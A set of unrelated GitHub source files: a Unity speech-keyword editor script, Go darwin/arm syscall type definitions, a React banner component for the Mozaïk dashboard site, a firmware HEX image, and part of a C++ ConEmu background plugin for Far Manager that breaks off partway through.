public class SpeechInputSourceEditor : UnityEditor.Editor
{
private SerializedProperty persistentKeywordsProperty;
private SerializedProperty recognizerStart;
private SerializedProperty confidenceLevel;
private SerializedProperty keywordsAndKeys;
private void OnEnable()
{
persistentKeywordsProperty = serializedObject.FindProperty("PersistentKeywords");
recognizerStart = serializedObject.FindProperty("RecognizerStart");
confidenceLevel = serializedObject.FindProperty("recognitionConfidenceLevel");
keywordsAndKeys = serializedObject.FindProperty("Keywords");
}
public override void OnInspectorGUI()
{
serializedObject.Update();
// Recognizer options
EditorGUILayout.PropertyField(persistentKeywordsProperty);
EditorGUILayout.PropertyField(recognizerStart);
EditorGUILayout.PropertyField(confidenceLevel);
// the Keywords field
ShowList(keywordsAndKeys);
serializedObject.ApplyModifiedProperties();
// error and warning messages
if (keywordsAndKeys.arraySize == 0)
{
EditorGUILayout.HelpBox("No keywords have been assigned!", MessageType.Warning);
}
}
private static GUIContent removeButtonContent = new GUIContent("-", "Remove keyword");
private static GUIContent addButtonContent = new GUIContent("+", "Add keyword");
private static GUILayoutOption miniButtonWidth = GUILayout.Width(20.0f);
private static void ShowList(SerializedProperty list)
{
// property name with expansion widget
EditorGUILayout.PropertyField(list);
if (list.isExpanded)
{
EditorGUI.indentLevel++;
// header row
EditorGUILayout.BeginHorizontal();
EditorGUILayout.LabelField("Keyword");
EditorGUILayout.LabelField("Key Shortcut");
EditorGUILayout.EndHorizontal();
// keyword rows
for (int index = 0; index < list.arraySize; index++)
{
EditorGUILayout.BeginHorizontal();
// the element
EditorGUILayout.PropertyField(list.GetArrayElementAtIndex(index));
// the remove element button
if (GUILayout.Button(removeButtonContent, EditorStyles.miniButton, miniButtonWidth))
{
list.DeleteArrayElementAtIndex(index);
}
EditorGUILayout.EndHorizontal();
}
// add button row
EditorGUILayout.BeginHorizontal();
GUILayout.FlexibleSpace();
// the add element button
if (GUILayout.Button(addButtonContent, EditorStyles.miniButton, miniButtonWidth))
{
list.InsertArrayElementAtIndex(list.arraySize);
}
EditorGUILayout.EndHorizontal();
EditorGUI.indentLevel--;
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
// NOTE: cgo can't generate struct Stat_t and struct Statfs_t yet
// Created by cgo -godefs - DO NOT EDIT
// cgo -godefs types_darwin.go
// +build arm,darwin
package unix
const (
SizeofPtr = 0x4
SizeofShort = 0x2
SizeofInt = 0x4
SizeofLong = 0x4
SizeofLongLong = 0x8
)
type (
_C_short int16
_C_int int32
_C_long int32
_C_long_long int64
)
type Timespec struct {
Sec int32
Nsec int32
}
type Timeval struct {
Sec int32
Usec int32
}
type Timeval32 [0]byte
type Rusage struct {
Utime Timeval
Stime Timeval
Maxrss int32
Ixrss int32
Idrss int32
Isrss int32
Minflt int32
Majflt int32
Nswap int32
Inblock int32
Oublock int32
Msgsnd int32
Msgrcv int32
Nsignals int32
Nvcsw int32
Nivcsw int32
}
type Rlimit struct {
Cur uint64
Max uint64
}
type _Gid_t uint32
type Stat_t struct {
Dev int32
Mode uint16
Nlink uint16
Ino uint64
Uid uint32
Gid uint32
Rdev int32
Atim Timespec
Mtim Timespec
Ctim Timespec
Btim Timespec
Size int64
Blocks int64
Blksize int32
Flags uint32
Gen uint32
Lspare int32
Qspare [2]int64
}
type Statfs_t struct {
Bsize uint32
Iosize int32
Blocks uint64
Bfree uint64
Bavail uint64
Files uint64
Ffree uint64
Fsid Fsid
Owner uint32
Type uint32
Flags uint32
Fssubtype uint32
Fstypename [16]int8
Mntonname [1024]int8
Mntfromname [1024]int8
Reserved [8]uint32
}
type Flock_t struct {
Start int64
Len int64
Pid int32
Type int16
Whence int16
}
type Fstore_t struct {
Flags uint32
Posmode int32
Offset int64
Length int64
Bytesalloc int64
}
type Radvisory_t struct {
Offset int64
Count int32
}
type Fbootstraptransfer_t struct {
Offset int64
Length uint32
Buffer *byte
}
type Log2phys_t struct {
Flags uint32
Contigbytes int64
Devoffset int64
}
type Fsid struct {
Val [2]int32
}
type Dirent struct {
Ino uint64
Seekoff uint64
Reclen uint16
Namlen uint16
Type uint8
Name [1024]int8
_ [3]byte
}
type RawSockaddrInet4 struct {
Len uint8
Family uint8
Port uint16
Addr [4]byte /* in_addr */
Zero [8]int8
}
type RawSockaddrInet6 struct {
Len uint8
Family uint8
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type RawSockaddrUnix struct {
Len uint8
Family uint8
Path [104]int8
}
type RawSockaddrDatalink struct {
Len uint8
Family uint8
Index uint16
Type uint8
Nlen uint8
Alen uint8
Slen uint8
Data [12]int8
}
type RawSockaddr struct {
Len uint8
Family uint8
Data [14]int8
}
type RawSockaddrAny struct {
Addr RawSockaddr
Pad [92]int8
}
type _Socklen uint32
type Linger struct {
Onoff int32
Linger int32
}
type Iovec struct {
Base *byte
Len uint32
}
type IPMreq struct {
Multiaddr [4]byte /* in_addr */
Interface [4]byte /* in_addr */
}
type IPv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Interface uint32
}
type Msghdr struct {
Name *byte
Namelen uint32
Iov *Iovec
Iovlen int32
Control *byte
Controllen uint32
Flags int32
}
type Cmsghdr struct {
Len uint32
Level int32
Type int32
}
type Inet4Pktinfo struct {
Ifindex uint32
Spec_dst [4]byte /* in_addr */
Addr [4]byte /* in_addr */
}
type Inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex uint32
}
type IPv6MTUInfo struct {
Addr RawSockaddrInet6
Mtu uint32
}
type ICMPv6Filter struct {
Filt [8]uint32
}
const (
SizeofSockaddrInet4 = 0x10
SizeofSockaddrInet6 = 0x1c
SizeofSockaddrAny = 0x6c
SizeofSockaddrUnix = 0x6a
SizeofSockaddrDatalink = 0x14
SizeofLinger = 0x8
SizeofIPMreq = 0x8
SizeofIPv6Mreq = 0x14
SizeofMsghdr = 0x1c
SizeofCmsghdr = 0xc
SizeofInet4Pktinfo = 0xc
SizeofInet6Pktinfo = 0x14
SizeofIPv6MTUInfo = 0x20
SizeofICMPv6Filter = 0x20
)
const (
PTRACE_TRACEME = 0x0
PTRACE_CONT = 0x7
PTRACE_KILL = 0x8
)
type Kevent_t struct {
Ident uint32
Filter int16
Flags uint16
Fflags uint32
Data int32
Udata *byte
}
type FdSet struct {
Bits [32]int32
}
const (
SizeofIfMsghdr = 0x70
SizeofIfData = 0x60
SizeofIfaMsghdr = 0x14
SizeofIfmaMsghdr = 0x10
SizeofIfmaMsghdr2 = 0x14
SizeofRtMsghdr = 0x5c
SizeofRtMetrics = 0x38
)
type IfMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Addrs int32
Flags int32
Index uint16
_ [2]byte
Data IfData
}
type IfData struct {
Type uint8
Typelen uint8
Physical uint8
Addrlen uint8
Hdrlen uint8
Recvquota uint8
Xmitquota uint8
Unused1 uint8
Mtu uint32
Metric uint32
Baudrate uint32
Ipackets uint32
Ierrors uint32
Opackets uint32
Oerrors uint32
Collisions uint32
Ibytes uint32
Obytes uint32
Imcasts uint32
Omcasts uint32
Iqdrops uint32
Noproto uint32
Recvtiming uint32
Xmittiming uint32
Lastchange Timeval
Unused2 uint32
Hwassist uint32
Reserved1 uint32
Reserved2 uint32
}
type IfaMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Addrs int32
Flags int32
Index uint16
_ [2]byte
Metric int32
}
type IfmaMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Addrs int32
Flags int32
Index uint16
_ [2]byte
}
type IfmaMsghdr2 struct {
Msglen uint16
Version uint8
Type uint8
Addrs int32
Flags int32
Index uint16
_ [2]byte
Refcount int32
}
type RtMsghdr struct {
Msglen uint16
Version uint8
Type uint8
Index uint16
_ [2]byte
Flags int32
Addrs int32
Pid int32
Seq int32
Errno int32
Use int32
Inits uint32
Rmx RtMetrics
}
type RtMetrics struct {
Locks uint32
Mtu uint32
Hopcount uint32
Expire int32
Recvpipe uint32
Sendpipe uint32
Ssthresh uint32
Rtt uint32
Rttvar uint32
Pksent uint32
Filler [4]uint32
}
const (
SizeofBpfVersion = 0x4
SizeofBpfStat = 0x8
SizeofBpfProgram = 0x8
SizeofBpfInsn = 0x8
SizeofBpfHdr = 0x14
)
type BpfVersion struct {
Major uint16
Minor uint16
}
type BpfStat struct {
Recv uint32
Drop uint32
}
type BpfProgram struct {
Len uint32
Insns *BpfInsn
}
type BpfInsn struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}
type BpfHdr struct {
Tstamp Timeval
Caplen uint32
Datalen uint32
Hdrlen uint16
_ [2]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
Cflag uint32
Lflag uint32
Cc [20]uint8
Ispeed uint32
Ospeed uint32
}
type Winsize struct {
Row uint16
Col uint16
Xpixel uint16
Ypixel uint16
}
const (
AT_FDCWD = -0x2
AT_REMOVEDIR = 0x80
AT_SYMLINK_FOLLOW = 0x40
AT_SYMLINK_NOFOLLOW = 0x20
)
type PollFd struct {
Fd int32
Events int16
Revents int16
}
const (
POLLERR = 0x8
POLLHUP = 0x10
POLLIN = 0x1
POLLNVAL = 0x20
POLLOUT = 0x4
POLLPRI = 0x2
POLLRDBAND = 0x80
POLLRDNORM = 0x40
POLLWRBAND = 0x100
POLLWRNORM = 0x4
)
type Utsname struct {
Sysname [256]byte
Nodename [256]byte
Release [256]byte
Version [256]byte
Machine [256]byte
}
const SizeofClockinfo = 0x14
type Clockinfo struct {
Hz int32
Tick int32
Tickadj int32
Stathz int32
Profhz int32
}
|
{
"pile_set_name": "Github"
}
|
import React from 'react'
import Link from 'gatsby-link'
import styled, { css } from 'styled-components'
import Container from './Container'
import media from '../styles/media'
const Root = styled(Container)`
text-align: center;
color: #fff;
${media.mobile`
& {
padding: 20px 0;
}
`}
${media.tablet`
& {
padding: 40px 0;
}
`}
${media.desktop`
& {
padding: 50px 0;
}
`}
`
const Intro = styled.p`
margin-bottom: 30px;
font-size: 18px;
font-weight: 600;
text-shadow: 0 1px 1px rgba(0, 0, 0, 0.35);
`
const buttonCss = css`
display: inline-block;
background: #13aae3;
color: #fff;
font-size: 15px;
text-decoration: none;
margin: 0;
border: 2px solid #fff;
transition: background 0.2s, color 0.2s;
text-align: center;
font-weight: 700;
text-transform: uppercase;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.15);
&:hover {
background: #fff;
color: #13aae3;
}
${media.mobile`
& {
width: 100%;
padding: 7px 16px;
}
&:first-child {
margin-bottom: 12px;
}
`}
${media.tablet`
& {
width: 47%;
padding: 12px 16px;
}
&:first-child {
margin-right: 4%;
}
`}
${media.desktop`
& {
width: 18%;
padding: 12px 16px;
}
&:first-child {
margin-right: 2%;
}
`}
`
const DemoButton = styled.a`
${buttonCss}
`
const DocsButton = styled(Link)`
${buttonCss}
`
const HomeBanner = () => (
<Root>
<Intro>
Mozaïk is a tool based on nodejs / react / d3 / stylus to easily craft beautiful dashboards.
</Intro>
<div>
<DemoButton href="http://mozaik.herokuapp.com/" target="_blank">
demo
</DemoButton>
<DocsButton to="/docs/">
get started
</DocsButton>
</div>
</Root>
)
export default HomeBanner
|
{
"pile_set_name": "Github"
}
|
:103E000001C0B7C0112484B790E89093610010926C
:103E10006100882361F0982F9A70923041F081FF01
:103E200002C097EF94BF282E80E0C6D0E9C085E09D
:103E30008093810082E08093C80088E18093C9006C
:103E400083E38093CC0086E08093CA008EE0B4D0F8
:103E5000279A84E028E43AEF91E03093850020939C
:103E6000840096BBB09BFECF1F9AA8954091C800D6
:103E700047FD02C0815089F793D0813479F490D006
:103E8000182FA0D0123811F480E004C088E0113857
:103E900009F083E07ED080E17CD0EECF823419F44B
:103EA00084E198D0F8CF853411F485E0FACF8535D8
:103EB00041F476D0C82F74D0D82FCC0FDD1F82D01C
:103EC000EACF863519F484E085D0DECF843691F5CB
:103ED00067D066D0F82E64D0D82E00E011E05801EB
:103EE0008FEFA81AB80A5CD0F80180838501FA1018
:103EF000F6CF68D0F5E4DF1201C0FFCF50E040E01C
:103F000063E0CE0136D08E01E0E0F1E06F0182E0A7
:103F1000C80ED11C4081518161E0C8012AD00E5FDA
:103F20001F4FF601FC10F2CF50E040E065E0CE01FB
:103F300020D0B1CF843771F433D032D0F82E30D0C6
:103F400041D08E01F80185918F0123D0FA94F110B0
:103F5000F9CFA1CF853739F435D08EE11AD084E975
:103F600018D08AE097CF813509F0A9CF88E024D016
:103F7000A6CFFC010A0167BFE895112407B600FC33
:103F8000FDCF667029F0452B19F481E187BFE895D4
:103F900008959091C80095FFFCCF8093CE000895BE
:103FA0008091C80087FFFCCF8091C80084FD01C0CC
:103FB000A8958091CE000895E0E6F0E098E1908326
:103FC00080830895EDDF803219F088E0F5DFFFCFC0
:103FD00084E1DFCFCF93C82FE3DFC150E9F7CF9162
:023FE000F1CF1F
:023FFE000008B9
:0400000300003E00BB
:00000001FF
|
{
"pile_set_name": "Github"
}
|
//TODO: Осталось сделать только список цветов с перебором по букве диска
//TODO: И аналогично для цвета фона градусника/картинок/текста и самого градусника
/*
Copyright (c) 2010-present Maximus5
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the authors may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef _DEBUG
// Раскомментировать, чтобы сразу после загрузки плагина показать MessageBox, чтобы прицепиться дебаггером
// #define SHOW_STARTED_MSGBOX
// #define SHOW_WRITING_RECTS
#endif
#include "../common/Common.h"
#include "../common/CEStr.h"
#ifdef _DEBUG
#pragma warning( disable : 4995 )
#endif
#include "../common/pluginW1761.hpp" // Отличается от 995 наличием SynchoApi
#ifdef _DEBUG
#pragma warning( default : 4995 )
#endif
#define GDIPVER 0x0110
#include "../common/GdiPlusLt.h"
#include "../common/xmllite.h"
#include "../common/MStrDup.h"
#include "../common/MStream.h"
#include "../common/UnicodeChars.h"
#include "../common/FarVersion.h"
#include "../common/MSectionSimple.h"
#include "../common/WThreads.h"
#include "ConEmuBg.h"
#define MAKEFARVERSION(major,minor,build) ( ((major)<<8) | (minor) | ((build)<<16))
#define DBGSTR(s) OutputDebugString(s);
#if defined(__GNUC__)
extern "C" {
BOOL WINAPI DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
void WINAPI SetStartupInfoW(void *aInfo);
void WINAPI OnConEmuLoaded(struct ConEmuLoadedArg* pConEmuInfo);
void WINAPI GetPluginInfoWcmn(void *piv);
};
#endif
#ifndef DT_HIDEPREFIX
#define DT_HIDEPREFIX 0x00100000
#endif
HMODULE ghPluginModule = NULL; // ConEmuBg.dll - сам плагин
//wchar_t* gszRootKey = NULL;
FarVersion gFarVersion = {};
static RegisterBackground_t gfRegisterBackground = NULL;
bool gbInStartPlugin = false;
bool gbSetStartupInfoOk = false;
ConEmuBgSettings gSettings[] = {
{L"PluginEnabled", (LPBYTE)&gbBackgroundEnabled, REG_BINARY, 1},
{L"XmlConfigFile", (LPBYTE)gsXmlConfigFile, REG_SZ, countof(gsXmlConfigFile)},
//{L"LinesColor", (LPBYTE)&gcrLinesColor, REG_DWORD, 4},
//{L"HilightType", (LPBYTE)&giHilightType, REG_DWORD, 4},
//{L"HilightPlugins", (LPBYTE)&gbHilightPlugins, REG_BINARY, 1},
//{L"HilightPlugBack", (LPBYTE)&gcrHilightPlugBack, REG_DWORD, 4},
{NULL}
};
BOOL gbBackgroundEnabled = FALSE;
wchar_t gsXmlConfigFile[MAX_PATH] = {};
BOOL gbMonitorFileChange = FALSE;
//COLORREF gcrLinesColor = RGB(0,0,0xA8); // чуть светлее синего
//int giHilightType = 0; // 0 - линии, 1 - полосы
//BOOL gbHilightPlugins = FALSE;
//COLORREF gcrHilightPlugBack = RGB(0xA8,0,0); // чуть светлее красного
// minimal(?) FAR version 2.0 alpha build FAR_X_VER
int WINAPI GetMinFarVersionW(void)
{
// ACTL_SYNCHRO required
return MAKEFARVERSION(2,0,std::max(1007,FAR_X_VER));
}
void WINAPI GetPluginInfoWcmn(void *piv)
{
if (gFarVersion.dwBuild>=FAR_Y2_VER)
FUNC_Y2(GetPluginInfoW)(piv);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
FUNC_Y1(GetPluginInfoW)(piv);
else
FUNC_X(GetPluginInfoW)(piv);
}
BOOL gbInfoW_OK = FALSE;
void WINAPI ExitFARW(void);
void WINAPI ExitFARW3(void*);
int WINAPI ConfigureW(int ItemNumber);
int WINAPI ConfigureW3(void*);
bool FMatch(LPCWSTR asMask, LPWSTR asPath);
#include "../common/SetExport.h"
ExportFunc Far3Func[] =
{
{"ExitFARW", (void*)ExitFARW, (void*)ExitFARW3},
{"ConfigureW", (void*)ConfigureW, (void*)ConfigureW3},
{NULL}
};
BOOL WINAPI DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
ghPluginModule = (HMODULE)hModule;
//ghWorkingModule = hModule;
HeapInitialize();
#ifdef SHOW_STARTED_MSGBOX
if (!IsDebuggerPresent())
MessageBoxA(NULL, "ConEmuBg*.dll loaded", "ConEmuBg plugin", 0);
#endif
bool lbExportsChanged = false;
if (LoadFarVersion())
{
if (gFarVersion.dwVerMajor == 3)
{
lbExportsChanged = ChangeExports( Far3Func, ghPluginModule );
if (!lbExportsChanged)
{
_ASSERTE(lbExportsChanged);
}
}
}
}
break;
case DLL_PROCESS_DETACH:
HeapDeinitialize();
break;
}
return TRUE;
}
#if defined(CRTSTARTUP)
extern "C" {
BOOL WINAPI _DllMainCRTStartup(HANDLE hDll,DWORD dwReason,LPVOID lpReserved);
};
BOOL WINAPI _DllMainCRTStartup(HANDLE hDll,DWORD dwReason,LPVOID lpReserved)
{
DllMain(hDll, dwReason, lpReserved);
return TRUE;
}
#endif
BOOL LoadFarVersion()
{
wchar_t ErrText[512]; ErrText[0] = 0;
BOOL lbRc = LoadFarVersion(gFarVersion, ErrText);
if (!lbRc)
{
gFarVersion.dwVerMajor = 2;
gFarVersion.dwVerMinor = 0;
gFarVersion.dwBuild = FAR_X_VER;
}
return lbRc;
}
void WINAPI SetStartupInfoW(void *aInfo)
{
gbSetStartupInfoOk = true;
if (!gFarVersion.dwVerMajor) LoadFarVersion();
if (gFarVersion.dwBuild>=FAR_Y2_VER)
FUNC_Y2(SetStartupInfoW)(aInfo);
else if (gFarVersion.dwBuild>=FAR_Y1_VER)
FUNC_Y1(SetStartupInfoW)(aInfo);
else
FUNC_X(SetStartupInfoW)(aInfo);
//_ASSERTE(gszRootKey!=NULL && *gszRootKey!=0);
gbInfoW_OK = TRUE;
StartPlugin(FALSE);
}
struct DrawInfo
{
LPCWSTR szVolume, szVolumeRoot, szVolumeSize, szVolumeFree;
DWORD nDriveType;
enum {
dib_Small = 0, dib_Large = 1, dib_Off = 2
} nSpaceBar;
wchar_t szPic[MAX_PATH]; // Это относительный путь! считая от папки с плагином ("img/plugin.png")
wchar_t szText[MAX_PATH]; // Текст, который отображается под картинкой ("G: 128Gb")
COLORREF crBack[32]; // Цвет фона
int nBackCount;
COLORREF crDark[32]; // Цвет спрайтов, текста, фона градусника
int nDarkCount;
COLORREF crLight[32]; // Цвет градусника
int nLightCount;
enum DrawInfoFlags
{
dif_PicFilled = 0x0000001,
dif_TextFilled = 0x0000002,
dif_BackFilled = 0x0000004,
dif_DarkFilled = 0x0000008,
dif_LightFilled = 0x0000010,
dif_ShiftBackColor = 0x0000020,
dif_Disabled = 0x8000000,
};
DWORD Flags; // of DrawInfoFlags
};
bool gbGdiPlusInitialized = false;
typedef HRESULT (WINAPI* CreateXmlReader_t)(REFIID riid, void** ppvObject, void* pMalloc);
CreateXmlReader_t gfCreateXmlReader = NULL;
HMODULE ghXmlLite = NULL;
struct XmlConfigFile
{
MSectionSimple* cr;
FILETIME FileTime;
LPBYTE FileData;
DWORD FileSize;
};
XmlConfigFile XmlFile = {};
wchar_t* gpszXmlFile = NULL;
wchar_t* gpszXmlFolder = NULL;
HANDLE ghXmlNotification = NULL;
const wchar_t* szDefaultXmlName = L"Background.xml";
void ReportFail(LPCWSTR asInfo)
{
wchar_t szTitle[128];
swprintf_c(szTitle, L"ConEmuBg, PID=%u", GetCurrentProcessId());
wchar_t* pszErr = lstrmerge(asInfo,
L"\n" L"Config value: ", gsXmlConfigFile[0] ? gsXmlConfigFile : szDefaultXmlName,
L"\n" L"Expanded: ", gpszXmlFile ? gpszXmlFile : L"<NULL>");
MessageBox(NULL, pszErr, szTitle, MB_ICONSTOP|MB_SYSTEMMODAL);
free(pszErr);
}
bool WasXmlLoaded()
{
return (XmlFile.FileData != NULL);
}
// Возвращает TRUE, если файл изменился
bool CheckXmlFile(bool abUpdateName /*= false*/)
{
bool lbChanged = false, lbNeedCheck = false;
DWORD nNotify = 0;
wchar_t szErr[128];
_ASSERTE(XmlFile.cr && XmlFile.cr->IsInitialized());
MSectionLockSimple CS; CS.Lock(XmlFile.cr);
if (abUpdateName)
{
bool lbNameOk = false;
size_t cchMax = MAX_PATH+1;
if (!gpszXmlFile)
gpszXmlFile = (wchar_t*)malloc(cchMax*sizeof(*gpszXmlFile));
if (gpszXmlFile)
{
gpszXmlFile[0] = 0;
// If config file has full path or environment variable (supposing full path with %FARHOME% or %ConEmuDir%)
if (*gsXmlConfigFile && (wcschr(gsXmlConfigFile, L'\\') || wcschr(gsXmlConfigFile, L'%')))
{
DWORD nRc = ExpandEnvironmentStrings(gsXmlConfigFile, gpszXmlFile, MAX_PATH+1);
if (!nRc || nRc > MAX_PATH)
{
gpszXmlFile[0] = 0;
ReportFail(L"Too long xml path after ExpandEnvironmentStrings");
}
else
{
lbNameOk = true;
}
}
if (!lbNameOk && !*gpszXmlFile)
{
LPCWSTR pszXmlName = *gsXmlConfigFile ? gsXmlConfigFile : szDefaultXmlName;
int nNameLen = lstrlen(pszXmlName);
if (GetModuleFileName(ghPluginModule, gpszXmlFile, MAX_PATH-nNameLen))
{
wchar_t* pszSlash = wcsrchr(gpszXmlFile, L'\\');
if (pszSlash) pszSlash++; else pszSlash = gpszXmlFile;
_wcscpy_c(pszSlash, cchMax-(pszSlash-gpszXmlFile), pszXmlName);
lbNameOk = true;
}
}
}
if (!lbNameOk)
{
if (gpszXmlFile)
{
free(gpszXmlFile);
gpszXmlFile = NULL;
};
ReportFail(L"Can't initialize name of xml file");
lbChanged = false;
goto wrap;
}
// Notification - мониторинг изменения файла
if (ghXmlNotification && (ghXmlNotification != INVALID_HANDLE_VALUE))
{
FindCloseChangeNotification(ghXmlNotification);
ghXmlNotification = NULL;
}
if (gpszXmlFolder)
free(gpszXmlFolder);
gpszXmlFolder = lstrdup(gpszXmlFile);
if (gpszXmlFolder)
{
wchar_t* pszSlash = wcsrchr(gpszXmlFolder, L'\\');
if (pszSlash)
{
if (wcschr(gpszXmlFolder, L'\\') < pszSlash)
pszSlash[0] = 0;
else
pszSlash[1] = 0;
}
//Issue 1230
if (gbMonitorFileChange)
{
ghXmlNotification = FindFirstChangeNotification(gpszXmlFolder, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME|FILE_NOTIFY_CHANGE_SIZE|FILE_NOTIFY_CHANGE_LAST_WRITE);
}
else
{
_ASSERTE(ghXmlNotification==NULL);
lbNeedCheck = true;
}
}
}
if (ghXmlNotification && (ghXmlNotification != INVALID_HANDLE_VALUE))
{
nNotify = WaitForSingleObject(ghXmlNotification, 0);
if (nNotify == WAIT_OBJECT_0)
{
lbNeedCheck = true;
//FindNextChangeNotification(ghXmlNotification); -- в конце позовем
}
}
// в первый раз - выставляем строго
if (!lbNeedCheck && !XmlFile.FileData)
lbNeedCheck = true;
if (gpszXmlFile && *gpszXmlFile && lbNeedCheck)
{
HANDLE hFile = CreateFile(gpszXmlFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
{
BY_HANDLE_FILE_INFORMATION inf = {};
GetFileInformationByHandle(hFile, &inf);
if (!inf.nFileSizeLow)
{
ReportFail(L"Configuration xml file is empty");
}
else if (!XmlFile.FileData)
{
lbChanged = true;
}
else
{
if ((memcmp(&inf.ftLastWriteTime, &XmlFile.FileTime, sizeof(XmlFile.FileTime)) != 0)
|| (inf.nFileSizeLow != XmlFile.FileSize))
{
lbChanged = true;
}
}
if (lbChanged)
{
DWORD dwRead = 0;
LPBYTE ptrData = (LPBYTE)calloc(inf.nFileSizeLow+1, sizeof(*ptrData));
if (!ptrData)
{
swprintf_c(szErr, L"Can't allocate %u bytes for xml configuration", inf.nFileSizeLow+1);
ReportFail(szErr);
}
else if (!ReadFile(hFile, ptrData, inf.nFileSizeLow, &dwRead, NULL) || (dwRead != inf.nFileSizeLow))
{
swprintf_c(szErr, L"Can't read %u bytes from xml configuration file", inf.nFileSizeLow);
ReportFail(szErr);
}
else
{
if (XmlFile.FileData)
free(XmlFile.FileData);
XmlFile.FileData = ptrData;
ptrData = NULL;
XmlFile.FileSize = dwRead;
}
if (ptrData) // Если ошибка, освободить память
free(ptrData);
}
// Done
CloseHandle(hFile);
}
else
{
// В первый раз - на отсутствие файла ругнемся
if (!XmlFile.FileData)
{
ReportFail(L"Configuration xml file was not found in the plugin folder");
}
}
}
// Если файла нет, или его не удалось прочитать - подсунем пустышку
if (!XmlFile.FileData)
{
XmlFile.FileSize = 0;
XmlFile.FileData = (LPBYTE)calloc(1,sizeof(*XmlFile.FileData));
}
wrap:
if (ghXmlNotification && (ghXmlNotification != INVALID_HANDLE_VALUE) && (nNotify == WAIT_OBJECT_0))
{
FindNextChangeNotification(ghXmlNotification);
}
return lbChanged;
}
#define DllGetFunction(hModule, FunctionName) FunctionName = (FunctionName##_t)GetProcAddress(hModule, #FunctionName)
enum tag_GdiStrMagics
{
eGdiStr_Decoder = 0x2001,
eGdiStr_Image = 0x2002,
};
struct CachedImage
{
DWORD nMagic;
BOOL bUsed;
// Имя картинки
wchar_t sImgName[MAX_PATH]; // i.e. L"img/plugin.png"
// Хэндлы. CompatibleDC & Bitmap
HDC hDc;
HBITMAP hBmp, hOldBmp;
int nWidth, nHeight;
// Next pointer
CachedImage *pNextImage;
bool Init(LPCWSTR apszName, HDC ahDc, UINT anWidth, UINT anHeight, const HDC hScreenDC)
{
_ASSERTE(hDc==NULL && hBmp==NULL && hOldBmp==NULL);
nMagic = eGdiStr_Image;
bUsed = TRUE;
wcscpy_c(sImgName, apszName);
//hDc = ahDc; ahDc = NULL;
//hBmp = ahBmp; ahBmp = NULL;
//hOldBmp = ahOldBmp; ahOldBmp = NULL;
nWidth = anWidth;
nHeight = anHeight;
hDc = CreateCompatibleDC(hScreenDC);
hBmp = CreateCompatibleBitmap(hScreenDC, nWidth, nHeight);
if (!hDc || !hBmp)
{
ReportFail(L"CreateCompatible[DC|Bitmap] failed in CachedImage::Init");
if (hDc)
{
DeleteDC(hDc);
hDc = NULL;
}
if (hBmp)
{
DeleteObject(hBmp);
hBmp = NULL;
}
return false;
}
hOldBmp = (HBITMAP)SelectObject(hDc, hBmp);
//BitBlt, MaskBlt, AlphaBlend, TransparentBlt
BitBlt(hDc, 0, 0, nWidth, nHeight, ahDc, 0, 0, SRCCOPY); // PATINVERT/PATPAINT?
return true;
};
// Деструктор
void Close()
{
sImgName[0] = 0;
if (hOldBmp && hDc)
{
SelectObject(hDc, hOldBmp);
hOldBmp = NULL;
}
if (hDc)
{
DeleteDC(hDc);
hDc = NULL;
}
if (hBmp)
{
DeleteObject(hBmp);
hBmp = NULL;
}
if (pNextImage)
{
pNextImage->Close();
}
free(this);
};
};
struct GDIPlusDecoder
{
DWORD nMagic;
HMODULE hGDIPlus;
ULONG_PTR gdiplusToken; bool bTokenInitialized;
HRESULT nLastError;
BOOL bCoInitialized;
wchar_t sModulePath[MAX_PATH];
CachedImage *pImages;
typedef Gdiplus::Status(WINAPI *GdiplusStartup_t)(ULONG_PTR *token, const Gdiplus::GdiplusStartupInput *input, void /*Gdiplus::GdiplusStartupOutput*/ *output);
typedef VOID (WINAPI *GdiplusShutdown_t)(ULONG_PTR token);
typedef Gdiplus::Status(WINAPI *GdipCreateBitmapFromFile_t)(GDIPCONST WCHAR* filename, Gdiplus::GpBitmap **bitmap);
typedef Gdiplus::Status(WINAPI *GdipGetImageWidth_t)(Gdiplus::GpImage *image, UINT *width);
typedef Gdiplus::Status(WINAPI *GdipGetImageHeight_t)(Gdiplus::GpImage *image, UINT *height);
typedef Gdiplus::Status(WINAPI *GdipDisposeImage_t)(Gdiplus::GpImage *image);
